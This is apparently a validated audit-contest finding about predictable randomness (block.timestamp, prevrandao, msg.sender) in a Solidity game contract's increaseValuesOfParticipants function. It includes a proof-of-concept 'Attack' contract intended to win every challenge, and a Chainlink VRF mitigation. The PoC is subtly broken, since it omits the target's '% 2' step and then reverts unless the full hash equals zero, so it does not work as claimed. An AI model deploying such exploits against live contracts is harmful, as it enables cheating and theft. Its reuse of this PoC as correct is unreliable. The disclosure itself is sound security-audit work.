Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Weak RNG Used in `ChoosingRam::increaseValuesOfParticipants`

[H-2] Weak RNG Used in ChoosingRam::increaseValuesOfParticipants

Description:
The increaseValuesOfParticipants function in the ChoosingRam contract utilizes a weak source of randomness to determine the outcome of challenges between participants. This randomness is derived from block.timestamp, block.prevrandao, and msg.sender's address, all of which are publicly known values. Consequently, attackers can predict the outcome of the randomness generation, enabling them to always win challenges by calling the function at opportune moments.

function increaseValuesOfParticipants(
uint256 tokenIdOfChallenger,
uint256 tokenIdOfAnyPerticipent
) public RamIsNotSelected {
.
.
.
@> uint256 random = uint256(
@> keccak256(
@> abi.encodePacked(block.timestamp, block.prevrandao, msg.sender)
@> )
) % 2;
.
.
.
}

Impact:
The lack of true randomness in this function allows malicious actors to manipulate the game mechanics, ensuring they can always emerge victorious in challenges. This undermines the fairness and integrity of the system, potentially discouraging honest participation.

Proof of Concept:
An attacker can deploy a contract similar to Attack::attackRandomness to exploit this weakness. By calculating the expected outcome of the randomness generation beforehand, the attacker can ensure victory whenever they participate in a challenge.

contract Attack {
Dussehra dus;
ChoosingRam chRam;
RamNFT nft;
uint256 userTokenId;
constructor(address _dus, address _chRam, address _nft, uint256 _tokenId) {
dus = Dussehra(_dus);
chRam = ChoosingRam(_chRam);
nft = RamNFT(_nft);
userTokenId = _tokenId;
}
function attackRandomness(uint256 otherTokenId) public {
uint256 randomNumber = uint256(
keccak256(
abi.encodePacked(
block.timestamp,
block.prevrandao,
address(this)
)
)
);
if (randomNumber != 0) revert();
chRam.increaseValuesOfParticipants(userTokenId, otherTokenId);
}
receive() external payable {}
function onERC721Received(
address /*operator*/,
address /*from*/,
uint256 /*tokenId*/,
bytes calldata /*data*/
) public pure returns (bytes4) {
return this.onERC721Received.selector;
}
}

Tools Used:
Manual Review

Recommended Mitigation:
To address this vulnerability, it is recommended to use Chainlink's Verifiable Random Function (VRF) for generating truly random numbers. Chainlink VRF provides cryptographic proof of the randomness generated, ensuring that outcomes cannot be predicted or manipulated by any party involved.

Updates

Lead Judging Commences

bube Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak randomness in `ChoosingRam::increaseValuesOfParticipants`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.